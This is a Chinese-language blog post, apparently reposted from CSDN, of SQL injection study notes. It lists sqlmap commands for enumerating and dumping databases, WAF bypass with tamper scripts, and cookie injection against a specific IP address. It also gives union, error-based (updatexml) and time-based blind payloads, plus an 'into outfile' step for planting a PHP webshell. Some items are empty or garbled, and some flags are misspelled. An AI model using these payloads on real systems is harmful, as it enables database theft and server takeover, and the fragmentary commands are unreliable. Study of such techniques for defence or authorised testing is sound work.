sql注入及盲注漏洞

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/liuy_uzhi/article/details/81180197
————————————————

1、发现和利用sql注入漏洞的基本流程:

首先找到有数据库交互的功能页面---判断页面是否存在sql注入--利用sql注入漏洞读取数据--导出所需数据

sql 注入的基本步骤(这个跟sqlmap的步骤基本一致吧)
(1)判断是什么类型注入,有没过滤了关键字,可否绕过
(2)获取数据库用户,版本,当前连接的数据库等信息
(3)获取某个数据库表的信息
(4)获取列信息
(5)最后就获取数据了

2、sqlmap:使用学习

(1)sqlmap.py -u  指定url  (2)--users  当前权限有哪些用户   (3)--dbs 当前权限有哪些数据库(4)  --current-user  --current-db 查看当前用户和数据库  (5)--tables -D "数据库名"   查看目标数据库的表信息  (6)--colunns -T "users" -D "数据库名"   读取目标数据库表的列信息和字段信息    (6)--count -T "users" -D "数据库名"  读取目标数据库有几条数据    (7) --dump -T "users" -D "数据库名"    查看具体数据           (7)--dump -T "users" -D "数据库名"  --start  2  --stop 4  查看第二条至第四条具体数据

(8)--dump-all -D "目标数据库"   下载数据库所有数据表内容 

(9)sqlmap.py -u "http://www.xx.com/a.asp?id=123" -v 3 --dbs  --batch --tamper "脚本"    绕过waf

(10)sqlmap.py -u "http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --level 2 --dbs     cookie注入

post方式注入判断:

(1)sqlmap -r  "抓取的数据包文件"

(2)sqlmap -u "url"  --date "id=1&submit=submit"  -p "id" --cookie ""

当注入点和显示页不在同一页面上:

(1)sqlmap.py -u   --data  -p  --cookie --second-order  "第二个url"

3、sql回显注入:

(1)如果输入1',sql报错并把错误的信息展示出来,因为我们输入1是正常的,输入1','注入到sql语句中报错。

mysql中常见的三种注释符闭合:

(1)确定查询字段:

(2)确定回显点

4、只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。

5、

url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%

具体可以看http://www.w3school.com.cn/tags/html_ref_urlencode.html,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码

常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22

判断sql注入(显错和基于错误的盲注):单引号,and 1=1  和and 1=2,双引号,反斜杠,注释等

判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子:   ' and sleep(5)    " and sleep(5)

6、

7、上传木马:select  "PHP木马","webshell字符串"  into outfile  '目录'

8、如果遇到单引号、双引号被转义的情况,当查询数据表操作时遇到单引号也会转义,可以使用hex编码,进行绕过。

(1)sql盲注漏洞学习:

1、通过真假来判断。调整and后面的数据真假来对比

2、length(str)获取字符串长度   id=1' and  length(database())=8--+

3、猜解字符串 ascii('test')        id=1' and ascii(substr(database(),1,1))>64    破解字符串

延时注入:

1、if (length(database())>4,5,0)

2、sleep(if (length(database())>4,5,0))

eg:id=1' and  sleep(if(length(database())>10,5,0))

3、id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5))     破解字符串

(2)基于错误的更新查询POST注入(报错注入):

uname=admin&passwd=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

   mysql十种报错注入:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

cookie注入:

JS语句获取cookie:javascript:alert(document.cookie)(火狐浏览器插需要注意javascript:容易被过滤掉)

cookie注入测试语句:

javascript:alert(document.cookie="id="+escape("171"));

javascript:alert(document.cookie="id="+escape("171 and 1=1"));    

javascript:alert(document.cookie="id="+escape("171 and 1=2"));              

javascript:alert(document.cookie="id="+escape("171 order by 1")); 

javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));  数据表需要猜解

union select 1,password,username,4,5,6,7,8,9,10 from admin"));

1、发现和利用sql注入漏洞的基本流程:

猜你喜欢

转载自blog.csdn.net/qq_45869039/article/details/104680924